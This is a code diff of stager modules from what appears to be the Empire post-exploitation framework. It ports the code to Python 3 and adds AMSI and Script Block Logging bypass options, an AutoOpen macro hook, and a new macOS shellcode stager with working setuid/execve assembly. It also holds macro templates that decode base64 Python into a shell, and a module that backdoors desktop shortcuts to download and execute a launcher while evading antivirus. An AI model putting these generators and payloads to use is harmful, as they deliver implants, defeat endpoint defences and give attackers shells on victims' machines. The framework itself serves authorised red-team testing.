02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
4446 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
4547 'Required' : False,
4648 'Value' : 'default'
49 },
50 'ScriptLogBypass' : {
51 'Description' : 'Include cobbr\'s Script Block Log Bypass in the stager code.',
52 'Required' : False,
53 'Value' : 'True'
54 },
55 'AMSIBypass' : {
56 'Description' : 'Include mattifestation\'s AMSI Bypass in the stager code.',
57 'Required' : False,
58 'Value' : 'True'
59 },
60 'AMSIBypass2' : {
61 'Description' : 'Include Tal Liberman\'s AMSI Bypass in the stager code.',
62 'Required' : False,
63 'Value' : 'False'
4764 }
4865 }
4966
6481 listenerName = self.options['Listener']['Value']
6582 userAgent = self.options['UserAgent']['Value']
6683 safeChecks = self.options['SafeChecks']['Value']
84 scriptLogBypass = self.options['ScriptLogBypass']['Value']
85 AMSIBypass = self.options['AMSIBypass']['Value']
86 AMSIBypass2 = self.options['AMSIBypass2']['Value']
87
88 scriptLogBypassBool = False
89 if scriptLogBypass.lower() == "true":
90 scriptLogBypassBool = True
91
92 AMSIBypassBool = False
93 if AMSIBypass.lower() == "true":
94 AMSIBypassBool = True
95
96 AMSIBypass2Bool = False
97 if AMSIBypass2.lower() == "true":
98 AMSIBypass2Bool = True
6799
68100 # generate the launcher code
69 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
101 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks, scriptLogBypass=scriptLogBypassBool, AMSIBypass=AMSIBypassBool, AMSIBypass2=AMSIBypass2Bool)
70102
71103 if launcher == "":
72 print helpers.color("[!] Error in launcher command generation.")
104 print(helpers.color("[!] Error in launcher command generation."))
73105 return ""
74106
75107 else:
+36
-4
lib/stagers/multi/launcher.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
5254 'ObfuscateCommand' : {
5355 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
5456 'Required' : False,
55 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
57 'Value' : r'Token\All\1'
5658 },
5759 'SafeChecks' : {
5860 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
7375 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
7476 'Required' : False,
7577 'Value' : 'default'
78 },
79 'ScriptLogBypass' : {
80 'Description' : 'Include cobbr\'s Script Block Log Bypass in the stager code.',
81 'Required' : False,
82 'Value' : 'True'
83 },
84 'AMSIBypass' : {
85 'Description' : 'Include mattifestation\'s AMSI Bypass in the stager code.',
86 'Required' : False,
87 'Value' : 'True'
88 },
89 'AMSIBypass2' : {
90 'Description' : 'Include Tal Liberman\'s AMSI Bypass in the stager code.',
91 'Required' : False,
92 'Value' : 'False'
7693 }
7794 }
7895
100117 proxyCreds = self.options['ProxyCreds']['Value']
101118 stagerRetries = self.options['StagerRetries']['Value']
102119 safeChecks = self.options['SafeChecks']['Value']
120 scriptLogBypass = self.options['ScriptLogBypass']['Value']
121 AMSIBypass = self.options['AMSIBypass']['Value']
122 AMSIBypass2 = self.options['AMSIBypass2']['Value']
103123
104124 encode = False
105125 if base64.lower() == "true":
109129 if obfuscate.lower() == "true":
110130 invokeObfuscation = True
111131
132 scriptLogBypassBool = False
133 if scriptLogBypass.lower() == "true":
134 scriptLogBypassBool = True
135
136 AMSIBypassBool = False
137 if AMSIBypass.lower() == "true":
138 AMSIBypassBool = True
139
140 AMSIBypass2Bool = False
141 if AMSIBypass2.lower() == "true":
142 AMSIBypass2Bool = True
143
112144 # generate the launcher code
113 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, safeChecks=safeChecks)
145 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, safeChecks=safeChecks, scriptLogBypass=scriptLogBypassBool, AMSIBypass=AMSIBypassBool, AMSIBypass2=AMSIBypass2Bool)
114146
115147 if launcher == "":
116 print helpers.color("[!] Error in launcher command generation.")
148 print(helpers.color("[!] Error in launcher command generation."))
117149 return ""
118150
119151 return launcher
+46
-7
lib/stagers/multi/macro.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import range
3 from builtins import object
04 from lib.common import helpers
15 import re
26
3 class Stager:
7 class Stager(object):
48
59 def __init__(self, mainMenu, params=[]):
610
6771 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
6872 'Required' : False,
6973 'Value' : 'default'
74 },
75 'ScriptLogBypass' : {
76 'Description' : 'Include cobbr\'s Script Block Log Bypass in the stager code.',
77 'Required' : False,
78 'Value' : 'True'
79 },
80 'AMSIBypass' : {
81 'Description' : 'Include mattifestation\'s AMSI Bypass in the stager code.',
82 'Required' : False,
83 'Value' : 'True'
84 },
85 'AMSIBypass2' : {
86 'Description' : 'Include Tal Liberman\'s AMSI Bypass in the stager code.',
87 'Required' : False,
88 'Value' : 'False'
7089 }
7190 }
7291
87106 str1 = ''
88107 str2 = ''
89108 str1 = varstr + ' = "' + instr[:54] + '"'
90 for i in xrange(54, len(instr), 48):
109 for i in range(54, len(instr), 48):
91110 holder.append('\t\t' + varstr + ' = '+ varstr +' + "'+instr[i:i+48])
92111 str2 = '"\r\n'.join(holder)
93112 str2 = str2 + "\""
103122 stagerRetries = self.options['StagerRetries']['Value']
104123 safeChecks = self.options['SafeChecks']['Value']
105124 pixelTrackURL = self.options['PixelTrackURL']['Value']
125 scriptLogBypass = self.options['ScriptLogBypass']['Value']
126 AMSIBypass = self.options['AMSIBypass']['Value']
127 AMSIBypass2 = self.options['AMSIBypass2']['Value']
128
129 scriptLogBypassBool = False
130 if scriptLogBypass.lower() == "true":
131 scriptLogBypassBool = True
132
133 AMSIBypassBool = False
134 if AMSIBypass.lower() == "true":
135 AMSIBypassBool = True
136
137 AMSIBypass2Bool = False
138 if AMSIBypass2.lower() == "true":
139 AMSIBypass2Bool = True
106140
107141 # generate the python launcher code
108142 pylauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="python", encode=True, userAgent=userAgent, safeChecks=safeChecks)
109143
110144 if pylauncher == "":
111 print helpers.color("[!] Error in python launcher command generation.")
145 print(helpers.color("[!] Error in python launcher command generation."))
112146 return ""
113147
114148 # render python launcher into python payload
117151 pypayload = formStr("str", match)
118152
119153 # generate the powershell launcher code
120 poshlauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="powershell", encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
154 poshlauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="powershell", encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, scriptLogBypass=scriptLogBypassBool, AMSIBypass=AMSIBypassBool, AMSIBypass2=AMSIBypass2Bool)
121155
122156 if poshlauncher == "":
123 print helpers.color("[!] Error in powershell launcher command generation.")
157 print(helpers.color("[!] Error in powershell launcher command generation."))
124158 return ""
125159
126160 # render powershell launcher into powershell payload
138172 Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
139173 #End If
140174 #End If
175
176 Sub AutoOpen()
177 'MsgBox("AutoOpen()")
178 Debugging
179 End Sub
141180
142181 Sub Auto_Open()
143182 'MsgBox("Auto_Open()")
163202 Dim result As Long
164203 Dim str As String
165204 %s
166 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python &")
167 result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python &")
205 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | /usr/bin/python &")
206 result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | /usr/bin/python &")
168207 #Else
169208 'Windows Rendering
170209 Dim objWeb As Object
+7
-4
lib/stagers/multi/pyinstaller.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14 import os
25
1821
1922 """
2023
21 class Stager:
24 class Stager(object):
2225
2326 def __init__(self, mainMenu, params=[]):
2427
97100 import subprocess
98101 output_Str = subprocess.check_output(['which', 'pyinstaller'])
99102 if output_Str == "":
100 print helpers.color("[!] Error pyInstaller is not installed")
101 print helpers.color("[!] Try: apt-get -y install python-pip && pip install pyinstaller")
103 print(helpers.color("[!] Error pyInstaller is not installed"))
104 print(helpers.color("[!] Try: apt-get -y install python-pip && pip install pyinstaller"))
102105 return ""
103106 else:
104107 # generate the launcher code
105108 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks)
106109 if launcher == "":
107 print helpers.color("[!] Error in launcher command generation.")
110 print(helpers.color("[!] Error in launcher command generation."))
108111 return ""
109112 else:
110113 filesToExtractImportsFrom_List = []
+10
-5
lib/stagers/multi/war.py less more
0 from __future__ import print_function
1 from future import standard_library
2 standard_library.install_aliases()
3 from builtins import str
4 from builtins import object
05 from lib.common import helpers
16 import zipfile
2 import StringIO
7 import io
38
4 class Stager:
9 class Stager(object):
510
611 def __init__(self, mainMenu, params=[]):
712
5459 'ObfuscateCommand' : {
5560 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
5661 'Required' : False,
57 'Value' : r'Token\All\1,Launcher\STDIN++\1234567'
62 'Value' : r'Token\All\1'
5863 },
5964 'UserAgent' : {
6065 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
109114 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
110115
111116 if launcher == "":
112 print helpers.color("[!] Error in launcher command generation.")
117 print(helpers.color("[!] Error in launcher command generation."))
113118 return ""
114119
115120 else:
137142 ''' %(appName, appName)
138143
139144 # build the in-memory ZIP and write the three files in
140 warFile = StringIO.StringIO()
145 warFile = io.StringIO()
141146 zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
142147
143148 zipData.writestr("META-INF/MANIFEST.MF", manifest)
+4
-2
lib/stagers/osx/applescript.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
6971 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
7072
7173 if launcher == "":
72 print helpers.color("[!] Error in launcher command generation.")
74 print(helpers.color("[!] Error in launcher command generation."))
7375 return ""
7476
7577 else:
+5
-3
lib/stagers/osx/application.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
8991 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks)
9092
9193 if launcher == "":
92 print helpers.color("[!] Error in launcher command generation.")
94 print(helpers.color("[!] Error in launcher command generation."))
9395 return ""
9496
9597 else:
9698 disarm = False
97 launcher = launcher.strip('echo').strip(' | python &').strip("\"")
99 launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
98100 ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher,Arch=arch,icon=icnsPath,AppName=AppName, disarm=disarm)
99101 return ApplicationZip
+4
-2
lib/stagers/osx/ducky.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
6971 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
7072
7173 if launcher == "":
72 print helpers.color("[!] Error in launcher command generation.")
74 print(helpers.color("[!] Error in launcher command generation."))
7375 return ""
7476 else:
7577
+6
-4
lib/stagers/osx/dylib.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13 import os
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
7779 safeChecks = self.options['SafeChecks']['Value']
7880
7981 if arch == "":
80 print helpers.color("[!] Please select a valid architecture")
82 print(helpers.color("[!] Please select a valid architecture"))
8183 return ""
8284
8385 # generate the launcher code
8486 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=safeChecks)
8587
8688 if launcher == "":
87 print helpers.color("[!] Error in launcher command generation.")
89 print(helpers.color("[!] Error in launcher command generation."))
8890 return ""
8991
9092 else:
91 launcher = launcher.strip('echo').strip(' | python &').strip("\"")
93 launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
9294 dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker)
9395 return dylib
9496
+4
-2
lib/stagers/osx/jar.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
6870 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=SafeChecks)
6971
7072 if launcher == "":
71 print helpers.color("[!] Error in launcher command generation.")
73 print(helpers.color("[!] Error in launcher command generation."))
7274 return ""
7375 else:
7476 launcher = launcher.replace('"','\\"')
+4
-2
lib/stagers/osx/launcher.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
7981 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks)
8082
8183 if launcher == "":
82 print helpers.color("[!] Error in launcher command generation.")
84 print(helpers.color("[!] Error in launcher command generation."))
8385 return ""
8486
8587 return launcher
+5
-4
lib/stagers/osx/macho.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
7274 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks)
7375
7476 if launcher == "":
75 print helpers.color("[!] Error in launcher command generation.")
77 print(helpers.color("[!] Error in launcher command generation."))
7678 return ""
7779
7880 else:
79
80 launcher = launcher.strip('echo').strip(' | python &').strip("\"")
81 #launcher = launcher.strip('echo')
8182 macho = self.mainMenu.stagers.generate_macho(launcher)
8283 return macho
+11
-7
lib/stagers/osx/macro.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import range
3 from builtins import object
04 from lib.common import helpers
15 import re
26
3 class Stager:
7 class Stager(object):
48
59 def __init__(self, mainMenu, params=[]):
610
6973 str1 = ''
7074 str2 = ''
7175 str1 = varstr + ' = "' + instr[:54] + '"'
72 for i in xrange(54, len(instr), 48):
76 for i in range(54, len(instr), 48):
7377 holder.append('\t\t' + varstr + ' = '+ varstr +' + "'+instr[i:i+48])
7478 str2 = '"\r\n'.join(holder)
7579 str2 = str2 + "\""
9296 pylauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="python", encode=True, userAgent=userAgent, safeChecks=safeChecks)
9397
9498 if pylauncher == "":
95 print helpers.color("[!] Error in python launcher command generation.")
99 print(helpers.color("[!] Error in python launcher command generation."))
96100 return ""
97101
98102 # render python launcher into python payload
124128 Dim result As Long
125129 Dim cmd As String
126130 %s
127 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
128 result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
131 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &")
132 result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &")
129133 #End If
130134 End Function""" %(payload)
131135 elif version == "new":
148152 Dim result As LongPtr
149153 Dim cmd As String
150154 %s
151 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
152 result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &", "r")
155 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &")
156 result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &", "r")
153157 #End If
154158 End Function""" % (payload)
155159 else:
+5
-3
lib/stagers/osx/pkg.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8183 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks)
8284
8385 if launcher == "":
84 print helpers.color("[!] Error in launcher command generation.")
86 print(helpers.color("[!] Error in launcher command generation."))
8587 return ""
8688
8789 else:
8890 if AppName == '':
8991 AppName = "Update"
9092 Disarm=True
91 launcherCode = launcher.strip('echo').strip(' | python &').strip("\"")
93 launcherCode = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
9294 ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcherCode,Arch=arch,icon=icnsPath,AppName=AppName,disarm=Disarm)
9395 pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher,bundleZip=ApplicationZip,AppName=AppName)
9496 return pkginstaller
+4
-2
lib/stagers/osx/safari_launcher.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
7880 # generate the launcher code
7981 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks)
8082 if launcher == "":
81 print helpers.color("[!] Error in launcher command generation.")
83 print(helpers.color("[!] Error in launcher command generation."))
8284 return ""
8385 else:
8486 launcher = launcher.replace("'", "\\\'")
+162
-0
lib/stagers/osx/shellcode.py less more
0 from __future__ import print_function
1 from builtins import object
2 from lib.common import helpers
3
4
5 class Stager(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Shellcode launcher',
11
12 'Author': ['@johneiser'],
13
14 'Description': ('Generate an osx shellcode launcher'),
15
16 'Comments': [
17 'Shellcode contains NULL bytes, may need to be encoded.'
18 ]
19 }
20
21 # any options needed by the stager, settable during runtime
22 self.options = {
23 # format:
24 # value_name : {description, required, default_value}
25 'Listener' : {
26 'Description' : 'Listener to generate stager for.',
27 'Required' : True,
28 'Value' : ''
29 },
30 'Language' : {
31 'Description' : 'Language of the stager to generate.',
32 'Required' : True,
33 'Value' : 'python'
34 },
35 'Architecture' : {
36 'Description' : 'Architecture: x86/x64',
37 'Required' : True,
38 'Value' : 'x64'
39 },
40 'OutFile' : {
41 'Description' : 'File to write shellcode to.',
42 'Required' : True,
43 'Value' : '/tmp/launcher.bin'
44 },
45 'SafeChecks' : {
46 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
47 'Required' : True,
48 'Value' : 'True'
49 },
50 'UserAgent' : {
51 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
52 'Required' : False,
53 'Value' : 'default'
54 }
55 }
56
57 # save off a copy of the mainMenu object to access external functionality
58 # like listeners/agent handlers/etc.
59 self.mainMenu = mainMenu
60
61 for param in params:
62 # parameter format is [Name, Value]
63 option, value = param
64 if option in self.options:
65 self.options[option]['Value'] = value
66
67 def generate(self):
68
69 # extract all of our options
70 language = self.options['Language']['Value']
71 listenerName = self.options['Listener']['Value']
72 arch = self.options['Architecture']['Value']
73 savePath = self.options['OutFile']['Value']
74 userAgent = self.options['UserAgent']['Value']
75 safeChecks = self.options['SafeChecks']['Value']
76
77 if not self.mainMenu.listeners.is_listener_valid(listenerName):
78 # not a valid listener, return nothing for the script
79 print(helpers.color("[!] Invalid listener: " + listenerName))
80 return ""
81 else:
82 # generate launcher code
83 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
84 sc = ""
85 if launcher == "":
86 print(helpers.color("[!] Error in launcher command generation."))
87 return ""
88 elif arch.lower() == 'x86':
89 sc = (
90 # 0x17: int setuid(uid_t uid)
91 '\x31\xdb' # xor ebx, ebx ; Zero out ebx
92 '\x53' # push ebx ; Set uid_t uid (NULL)
93 '\x53' # push ebx ; Align stack (8)
94 '\x31\xc0' # xor eax, eax ; Zero out eax
95 '\xb0\x17' # mov al, 0x17 ; Prepare sys_setuid
96 '\xcd\x80' # int 0x80 ; Call sys_setuid
97 '\x83\xc4\x08' # add esp, 8 ; Fix stack (args)
98
99 # 0x3b: int execve(const char *path, char *const argv[], char *const envp[])
100 '\x53' # push ebx ; Terminate pointer array
101 '\xeb\x2c' # jmp get_payload ; Retrieve pointer to payload
102 # got_payload:
103 '\xe8\x03\x00\x00\x00' # call cmd_get_param_1 ; Push pointer to "-c", 0x00
104 '\x2d\x63\x00' # db "-c", 0x00
105 # cmd_get_param_1:
106 '\xe8\x08\x00\x00\x00' # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00
107 '\x2f\x62\x69\x6e' # db "/bin"
108 '\x2f\x73\x68\x00' # db "/sh", 0x00
109 # cmd_get_param_0:
110 '\x8b\x0c\x24' # mov ecx, [esp] ; Save pointer to "/bin/sh", 0x00
111 '\x89\xe2' # mov edx, esp ; Prepare args
112 '\x53' # push ebx ; Set char *const envp[] (NULL)
113 '\x52' # push edx ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL})
114 '\x51' # push ecx ; Set const char *path ("/bin/sh", 0x00)
115 '\x53' # push ebx ; Align stack (16)
116 '\x31\xc0' # xor eax, eax ; Zero out eax
117 '\xb0\x3b' # mov al, 0x3b ; Prepare sys_execve
118 '\xcd\x80' # int 0x80 ; Call sys_execve
119 '\x83\xc4\x20' # add esp, 32 ; Fix stack (args, array[4])
120
121 # 0x01: void exit(int status)
122 '\x31\xc0' # xor eax, eax ; Zero out eax
123 '\x40' # inc eax ; Prepare sys_exit
124 '\xcd\x80' # int 0x80 ; Call sys_exit
125
126 # get_payload:
127 '\xe8\xcf\xff\xff\xff' # call got_payload ; Push pointer to payload
128 )
129 else:
130 sc = (
131 # 0x2000017: int setuid(uid_t uid)
132 '\x48\x31\xff' # xor rdi, rdi ; Set uid_t uid (NULL)
133 '\x48\xc7\xc0\x17\x00\x00\x02' # mov rax, 0x2000017 ; Prepare sys_setuid
134 '\x0f\x05' # syscall ; Call sys_setuid
135
136 # 0x200003b: int execve(const char *path, char *const argv[], char *const envp[])
137 '\x48\x31\xd2' # xor rdx, rdx ; Set char *const envp[] (NULL)
138 '\x52' # push rdx ; Terminate pointer array
139 '\xeb\x32' # jmp get_payload ; Retrieve pointer to payload
140 # got_payload:
141 '\xe8\x03\x00\x00\x00' # call cmd_get_param_1 ; Push pointer to "-c", 0x00
142 '\x2d\x63\x00' # db "-c", 0x00
143 # cmd_get_param_1:
144 '\xe8\x08\x00\x00\x00' # call cmd_get_param_0 ; Push pointer to "/bin/sh", 0x00
145 '\x2f\x62\x69\x6e' # db "/bin"
146 '\x2f\x73\x68\x00' # db "/sh", 0x00
147 # cmd_get_param_0:
148 '\x48\x8b\x3c\x24' # mov rdi, [rsp] ; Set const char *path ("/bin/sh", 0x00)
149 '\x48\x89\xe6' # mov rsi, rsp ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL})
150 '\x48\xc7\xc0\x3b\x00\x00\x02' # mov rax, 0x200003b ; Prepare sys_execve
151 '\x0f\x05' # syscall ; Call sys_execve
152 '\x48\x83\xc4\x20' # add rsp, 32 ; Fix stack (array[4])
153
154 # 0x2000001: void exit(int status)
155 '\x48\xc7\xc0\x01\x00\x00\x02' # mov rax, 0x2000001 ; Prepare sys_exit
156 '\x0f\x05' # syscall ; Call sys_exit
157
158 # get_payload:
159 '\xe8\xc9\xff\xff\xff' # call got_payload ; Push pointer to payload
160 )
161 return sc + launcher + '\x00'
+4
-2
lib/stagers/osx/teensy.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Stager:
5 class Stager(object):
46
57 def __init__(self, mainMenu, params=[]):
68
6971 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
7072
7173 if launcher == "":
72 print helpers.color("[!] Error in launcher command generation.")
74 print(helpers.color("[!] Error in launcher command generation."))
7375 return ""
7476
7577 else:
+248
-225
lib/stagers/windows/backdoorLnkMacro.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import chr
3 from builtins import range
4 from builtins import object
05 import random, string, xlrd, datetime
16 from xlutils.copy import copy
27 from xlwt import Workbook, Utils
38 from lib.common import helpers
49 from Crypto.Cipher import AES
510
6 class Stager:
7
11
12 class Stager(object):
13
814 def __init__(self, mainMenu, params=[]):
9
15
1016 self.info = {
1117 'Name': 'BackdoorLnkMacro',
12
18
1319 'Author': ['@G0ldenGunSec'],
14
15 'Description': ('Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in turn attempt to download & execute an empire launcher when the user clicks on them. Usage: Three files will be spawned from this, an xls document (either new or containing existing contents) that data will be placed into, a macro that should be placed in the spawned xls document, and an xml that should be placed on a web server accessible by the remote system (as defined during stager generation). By default this xml is written to /var/www/html, which is the webroot on debian-based systems such as kali.'),
16
17 'Comments': ['Two-stage macro attack vector used for bypassing tools that perform monitor parent processes and flag / block process launches from unexpected programs, such as office. The initial run of the macro is vbscript and spawns no child processes, instead it backdoors targeted shortcuts on the users desktop to do a direct run of powershell next time they are clicked. The second step occurs when the user clicks on the shortcut, the powershell download stub that runs will attempt to download & execute an empire launcher from an xml file hosted on a pre-defined webserver, which will in turn grant a full shell. Credits to @harmJ0y and @enigma0x3 for designing the macro stager that this was originally based on, @subTee for research pertaining to the xml.xmldocument cradle, and @curi0usJack for info on using cell embeds to evade AV.']
20
21 'Description': (
22 'Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in turn attempt to download & execute an empire launcher when the user clicks on them. Usage: Three files will be spawned from this, an xls document (either new or containing existing contents) that data will be placed into, a macro that should be placed in the spawned xls document, and an xml that should be placed on a web server accessible by the remote system (as defined during stager generation). By default this xml is written to /var/www/html, which is the webroot on debian-based systems such as kali.'),
23
24 'Comments': [
25 'Two-stage macro attack vector used for bypassing tools that perform monitor parent processes and flag / block process launches from unexpected programs, such as office. The initial run of the macro is vbscript and spawns no child processes, instead it backdoors targeted shortcuts on the users desktop to do a direct run of powershell next time they are clicked. The second step occurs when the user clicks on the shortcut, the powershell download stub that runs will attempt to download & execute an empire launcher from an xml file hosted on a pre-defined webserver, which will in turn grant a full shell. Credits to @harmJ0y and @enigma0x3 for designing the macro stager that this was originally based on, @subTee for research pertaining to the xml.xmldocument cradle, and @curi0usJack for info on using cell embeds to evade AV.']
1826 }
19 #random name our xml will default to in stager options
20 xmlVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(5,9)))
21
27 # random name our xml will default to in stager options
28 xmlVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(5, 9)))
29
2230 # any options needed by the stager, settable during runtime
2331 self.options = {
2432 # format:
2533 # value_name : {description, required, default_value}
26 'Listener' : {
27 'Description' : 'Listener to generate stager for.',
28 'Required' : True,
29 'Value' : ''
30 },
31 'Language' : {
32 'Description' : 'Language of the launcher to generate.',
33 'Required' : True,
34 'Value' : 'powershell'
35 },
36 'TargetEXEs' : {
37 'Description' : 'Will backdoor .lnk files pointing to selected executables (do not include .exe extension), enter a comma seperated list of target exe names - ex. iexplore,firefox,chrome',
38 'Required' : True,
39 'Value' : 'iexplore,firefox,chrome'
40 },
41 'XmlUrl' : {
42 'Description' : 'remotely-accessible URL to access the XML containing launcher code. Please try and keep this URL short, as it must fit in the given 1024 chars for args along with all other logic - default options typically allow for 100-200 chars of extra space, depending on targeted exe',
43 'Required' : True,
44 'Value' : "http://" + helpers.lhost() + "/"+xmlVar+".xml"
45 },
46 'XlsOutFile' : {
47 'Description' : 'XLS (incompatible with xlsx/xlsm) file to output stager payload to. If document does not exist / cannot be found a new file will be created',
48 'Required' : True,
49 'Value' : '/tmp/default.xls'
50 },
51 'OutFile' : {
52 'Description' : 'File to output macro to, otherwise displayed on the screen.',
53 'Required' : False,
54 'Value' : '/tmp/macro'
55 },
56 'XmlOutFile' : {
57 'Description' : 'Local path + file to output xml to.',
58 'Required' : True,
59 'Value' : '/var/www/html/'+xmlVar+'.xml'
60 },
61 'KillDate' : {
62 'Description' : 'Date after which the initial powershell stub will no longer attempt to download and execute code, set this for the end of your campaign / engagement. Format mm/dd/yyyy',
63 'Required' : True,
64 'Value' : datetime.datetime.now().strftime("%m/%d/%Y")
65 },
66 'UserAgent' : {
